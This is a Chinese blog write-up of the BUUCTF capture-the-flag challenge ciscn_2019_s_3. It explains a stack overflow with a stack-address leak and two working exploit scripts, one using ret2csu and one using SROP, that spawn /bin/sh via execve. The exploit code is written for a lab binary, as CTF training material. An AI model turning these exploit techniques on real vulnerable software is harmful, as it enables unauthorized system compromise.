[PWN] ciscn_2019_s_3 ret2csu SROP

8 篇文章 0 订阅
4 篇文章 0 订阅

BUUCTF ciscn_2019_s_3

技巧 ret2csu / SROP

checksec:
在这里插入图片描述
IDA:
在这里插入图片描述

ret2csu

利用思路:

总体思路:64位程序利用寄存器传参,可以利用__libc_csu_init函数中的gadgets设置寄存器
细节:可以提前写入/bin/sh\x00设置系统调用号59执行syscall,调用execve("/bin/sh",0,0),

前提:需要的gadget

pop rax(或者 mov rax,59)
syscall
pop rdi (“/bin/sh”)
pop rsi (0)
pop rdx(0)

__libc_csu_init函数可以利用的两个gadget:
pop_rbx_rbp_r12_r13_r14_r15:设置 r13 r14
mov_rdxr13_call:通过r13 r14设置rdx rsi
在这里插入图片描述
可以用来设置execve系统调用号59的gadget:
在这里插入图片描述

泄露栈地址

在这里插入图片描述
vuln函数最后没有没有pop rbp,即不需要填充rbp,直接将rbp覆盖为返回地址即可,缓冲区buf长度为0x10
在这里插入图片描述

payload1 = b"a"*0x10 + p64(main)
sdl(payload1)

在write函数时会打印0x30字节的内容,查看当前buf的内容
在这里插入图片描述
write函数会把栈上的地址打印出来,只需要减去偏移即可得到/bin/sh的栈地址,但是这里有一个问题,
第一次write函数的buf地址和第二次write函数的buf地址不一样(不知道为什么),相差0x20的偏移,因此需要再减去偏移
在这里插入图片描述
实际代码:

dbs("b *0x00400517")
payload1 = b"a"*0x10 + p64(main)
sdl(payload1)
rc(0x20)
sh = u64(rc(8)) - 0x148 -0x20
lg('/bin/sh',sh)

执行syscall调用execve(“/bin/sh”,0,0)

方法一:
main = 0x40051d
vlun=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580 
sys=0x00400517
# dbs("b *0x40059A")
payload1 = b"a"*0x10 + p64(main)
sdl(payload1)
# db()
rc(0x20)
sh = u64(rc(8)) - 0x148 - 0x20
lg('/bin/sh',sh)

payload2 = b"/bin/sh\x00"*2+ p64(pop_rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(1) + p64(sh+0x50) + p64(0)*3
payload2 += p64(mov_rdxr13_call) + p64(execv) + p64(0)*6
payload2 += p64(pop_rdi) + p64(sh) + p64(sys)
sdl(payload2)
it()

p64(pop_rbx_rbp_r12_r13_r14_r15),p64(mov_rdxr13_call):设置rdx,rsi为0
p64(execv) :设置rax系统调用号为59
p64(pop_rdi) + p64(sh): 设置rdi为sh地址
p64(sys):执行syscall
这里需要注意:

p64(0) + p64(1) + p64(sh+0x50) + p64(0)*3

令 rbx=0 rbp=1:避免进入循环
在这里插入图片描述
令 rbx=0 r12=p64(sh+0x50),即call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] = call execv:可以设置rax并retn
在这里插入图片描述
动态调试,执行过程:
首先进入p64(pop_rbx_rbp_r12_r13_r14_r15)设置6个寄存器的值
在这里插入图片描述
返回到p64(mov_rdxr13_call)设置rdx rsi的值
在这里插入图片描述
call [r12+rbx*8] 进入p64(execv)
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
call结束后返回继续执行,不执行jne
在这里插入图片描述
add rsp,8前:
在这里插入图片描述
add rsp,8后:
在这里插入图片描述
需要pop6个寄存器的值,所以需要payload中 + p64(0)*6
然后执行p64(pop_rdi)
在这里插入图片描述
最后成功执行syscall:
在这里插入图片描述

方法二:

区别在于 p64(execv)卸载binsh后面,在call [r12+rbx*8]时执行即可,同时需要+ p64(0)*7

payload2 = b"/bin/sh\x00"+ p64(execv) + p64(pop_rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(1) + p64(sh+0x8) + p64(0)*3
payload2 += p64(mov_rdxr13_call) + p64(0)*7
payload2 += p64(pop_rdi) + p64(sh) + p64(sys)
sdl(payload2)

SROP

main=0x0004004ED
sigret=0x4004DA
sys=0x400517
context(arch = 'amd64', os = 'linux')

pl1=b'/bin/sh\x00'*2+p64(main)
sd(pl1)
rc(0x20)
sh=u64(rc(8))-0x148
lg('/bin/sh address:',sh)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = sys

pl1=b'/bin/sh\x00'.ljust(0x10, b'a')+p64(sigret)+p64(sys)+bytes(frame)
sd(pl1)
it()

不知道为什么这里面两次调用write函数时buf的地址就是一样的。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值